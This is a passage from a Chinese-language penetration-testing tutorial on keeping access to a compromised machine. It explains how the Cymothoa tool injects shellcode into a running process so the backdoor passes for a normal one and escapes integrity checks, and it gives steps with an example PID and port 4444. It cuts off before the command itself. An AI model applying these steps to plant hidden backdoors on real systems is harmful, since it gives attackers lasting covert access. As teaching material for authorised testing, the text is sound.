25、渗透测试之持久访问技术详解

渗透测试之持久访问技术详解

在渗透测试中，提权之后的一个关键步骤是建立一种机制，确保我们能够随时访问目标机器。即使之前利用的漏洞被修复或关闭，也能保持对系统的访问。下面将介绍一些有助于维持对目标机器访问的工具。

操作系统后门工具

• Cymothoa
  • 原理 ：Cymothoa 是一种后门工具，它可以将其 shellcode 注入到现有进程中，以此伪装成正常进程，避免引起管理员的怀疑。如果目标系统的安全工具仅监控可执行文件的完整性，而不检查内存，那么这种进程后门就不会被检测到。
  • 操作步骤 ：
    1. 运行 cymothoa 命令，查看帮助页面。必须指定要注入的进程 ID（PID） -p 和 shellcode 编号 -s 。
    2. 使用 ps 命令（如 ps -aux ）确定目标机器上的 PID。使用 -S 选项列出可用的 shellcode 编号。
    3. 例如，将 shellcode 注入到 PID 为 4255（rpc.mountd）的进程，并使用编号为 1 的有效负载，设置端口为 4444，命令如下：

./